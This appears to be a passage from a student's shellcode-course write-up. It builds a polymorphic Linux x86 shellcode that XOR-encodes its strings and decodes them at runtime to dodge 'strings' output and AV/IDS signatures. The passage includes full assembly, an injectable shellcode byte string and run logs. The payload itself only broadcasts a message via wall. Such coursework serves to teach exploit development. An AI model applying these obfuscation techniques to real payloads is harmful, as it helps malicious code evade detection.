6.D.3. Further optimization

Still, we want to use a polymorphic variant of the used shellcode. I’ve used the JMP/CALL/POP method for referencing strings used in the shellcode. Although this doesn’t use any PUSH techniques, it doesn’t obfuscate or “hide” the used strings in any way.
Simply using the command “strings” already displays a part of the used strings.

For this reason we’ll also show some XOR techniques which might assist in obfuscating payloads. However, don’t rely on it too much due to AV/IDS vendors checking on specific XOR actions as we’ll see later when checking for AV signatures.

Compile ASM

$ ../compile_asm.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Running

$ ./asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop
Segmentation fault (core dumped)

Running the ASM compiled file generates a segfault due to permissions of the .text area of the binary. The segfault is generated when trying to write a byte during the XOR-decoding loop in a read-only text area.

GDB segfaulting when attempt to write to memory

When dumping the shellcode by using the convert script and compiling it as a C binary, the segfault doesn’t occur due to the data section being correctly mapped by the C compiler.

Using strings

$ strings asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt
Rhwallh! | hODORhDORHhORHOh HODhecho
Rfh-c
Rh//shh/bin
RVQS

$ strings ./asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop
Rfh-c
+[RVQS
& +,c
bc?c4"//C
/bin/sh

Using a XOR encoding and decoding schema
For this assignment I’ve written a python encoder script for encoding the given input by XOR’ing it with a given character. Decoding is performed during execution of the shellcode, which causes issues as stated earlier when trying to write regions that are read-only.

Although XOR’ing with a static key isn’t much of an obfuscation and would probably get flagged by some IDS/IPS’es, it does a fair job of hiding payload a bit more. Do not rely on it for serious evasion techniques.

I’ve converted the script with several JMP/POP/CALL statements, but mainly just for two arguments:
– The to be displayed string execute via wall
– The ‘/bin/sh’ variable

Basicly the most important part is the decode and decoder functionality which decodes the string for the given registry, byte for byte with a static value. The “continue” function decides which jump to make, based on the length of the decoded string. I could have used a regular loop which automatically decrements CX for counting, but handling with multiple arguments I decided to use a JZ (Jump if zero flag set) when the string terminates.

Because the XOR encoding script uses a string-terminator NULL as end of the string, the last character is in fact the encoding byte itself. This is due to (encoding_byte) ^ (string_terminator) == 0, thus XOR’ing a byte with itself generates a NULL

Decoding functions

decoder:
	pop edi				; Pop the address on stack after return from function into EDI
	xor ecx, ecx			; Clear reg for counting

decode:
	xor byte [edi], 0x43		; XOR the current byte with a value
	jz continue			; If end of string is detected, jump to continue
	inc ecx				; Increase counter
	inc edi				; Go to next character
	jmp short decode		; Repeat function

continue:
	sub edi, ecx			; Realign position of string, decremented by used counter
	cmp cx, lenarg2-1		; Check if second argument equals to length of counter, minus 1 for string termination
	jne append1			; If equal, jump to second argument section

Generating an encoded string

$ python ../string_xor_asmhex.py 
Outputs the given string in reverse ASM hex

Usage: ../string_xor_asmhex.py <string> <encoding_char>
$ python ../string_xor_asmhex.py "echo HODORHODORHODOR! | wall" C
String length: 28: excluding NULL-terminator

Encoding byte: C = 0x43

ASM XOR encoded hex [0x01, 0x02, ...] format
0x26, 0x20, 0x2b, 0x2c, 0x63, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0x62, 0x63, 0x3f, 0x63, 0x34, 0x22, 0x2f, 0x2f, 0x43

Pasting the output in ASM, recompile and generate shellcode

$ ../compile_asm.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
$ ../convert_bin_sc.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor
"\x6a\x0b\x58\x99\xeb\x29\x5f\x31\xc9\x80\x37\x43\x74\x04\x41\x47\xeb\xf7\x29\xcf\x66\x83\xf9\x1c\x75\x04\x89\xfe\xeb\x33\x89\xfb\x52\x66\x68\x2d\x63\x89\xe1\x52\x56\x51\x53\x89\xe1\xcd\x80\xe8\xd2\xff\xff\xff\x26\x20\x2b\x2c\x63\x0b\x0c\x07\x0c\x11\x0b\x0c\x07\x0c\x11\x0b\x0c\x07\x0c\x11\x62\x63\x3f\x63\x34\x22\x2f\x2f\x43\xe8\xb0\xff\xff\xff\x6c\x21\x2a\x2d\x6c\x30\x2b\x43"

Compiling it as C and run it

When running the C compiled version, a shellcode length of 94 is shown, being 34 bytes larger than the original shellcode but below the 150% larger limit of 107 bytes.

Effectively, seeing the string “HODORHODORHODOR!” (16 bytes) is larger than the original string “Phuck3d!” (8 bytes), the difference using the original string would be 86 bytes: 26 bytes larger.

$ ../compile_c.sh asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor-c
[+] Compiling ... 
[+] Done!

$ ./asm_linx86_send-string-all-terminals_shellstorm_sample3_mod-alt_jmpcallpop-xor-c
Shellcode Length:  94
                                                                               
Broadcast Message from ???@stud                                                
        (/dev/pts/0) at 22:11 ...                                              
                                                                               
HODORHODORHODOR!                                   

Full final ASM file

global _start
section .text

; execve("/bin//sh", ["/bin//sh", "-c", "echo HODORHODORHODOR! | wall"], [/* 0 vars */])
_start:
	; sys_execve 0x0b
	; int execve(const char *filename, char *const argv[], char *const envp[]);
	push   0xb			; sys_execve call 0x0b
	pop    eax			; Put into EAX
	cdq    				; Put 0 into EDX using the signed bit from EAX

	; String reference jmp/call/pop
	jmp arg2			; Jump to second argument string

decoder:
	pop edi				; Pop the address on stack after return from function into EDI
	xor ecx, ecx			; Clear reg for counting

decode:
	xor byte [edi], 0x43		; XOR the current byte with a value
	jz continue			; If end of string is detected, jump to continue
	inc ecx				; Increase counter
	inc edi				; Go to next character
	jmp short decode		; Repeat function

continue:
	sub edi, ecx			; Realign position of string, decremented by used counter
	cmp cx, lenarg2-1		; Check if second argument equals to length of counter, minus 1 for string termination
	jne append1			; If equal, jump to second argument section

append2:
	mov esi, edi			; Move XOR decoded string in ESI for second argument
	
	; '/bin/sh'
	jmp arg1			; Jump to first argument string

append1:
	mov ebx, edi			; Move XOR decoded string in EBX for first argument

	; '-c'
	push   edx			; Terminate string with NULL
	push word  0x632d		; '-c'
	mov    ecx,esp			; Put reference for string pointing by stackpointer, into ECX

	; Push registers
	push   edx			; Terminate string with NULL
	push   esi			; Push second argument
	push   ecx			; Push '-c' string
	push   ebx			; Push first argument '/bin/sh' string
	mov    ecx,esp			; Put reference to all strings into ECX, pointed by stackpointer
	int    0x80			; syscall

arg2:
	call decoder			; Go to decoder
	
	; Original string and hex encoded string
	; argstr2: db "echo HODORHODORHODOR! | wall", 0
	; argstr2: db 0x65, 0x63, 0x68, 0x6f, 0x20, 0x48, 0x4f, 0x44, 0x4f, 0x52, 0x48, 0x4f, 0x44, 0x4f, 0x52, 0x48, 0x4f, 0x44, 0x4f, 0x52, 0x21, 0x20, 0x7c, 0x20, 0x77, 0x61, 0x6c, 0x6c, 0
	
	; Generated from command:
	; python ../string_xor_asmhex.py "echo HODORHODORHODOR! | wall" C
	
	; String XOR encoded with byte 0x43, terminated with 0
	argstr2: db 0x26, 0x20, 0x2b, 0x2c, 0x63, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0xb, 0xc, 0x7, 0xc, 0x11, 0x62, 0x63, 0x3f, 0x63, 0x34, 0x22, 0x2f, 0x2f, 0x43
	lenarg2 equ $-argstr2		; Variable for stringlength

arg1: 
	call decoder			; Go to decoder
	argstr1: db 0x6c, 0x21, 0x2a, 0x2d, 0x6c, 0x30, 0x2b, 0x43
	lenarg1 equ $-argstr1		; Variable for stringlength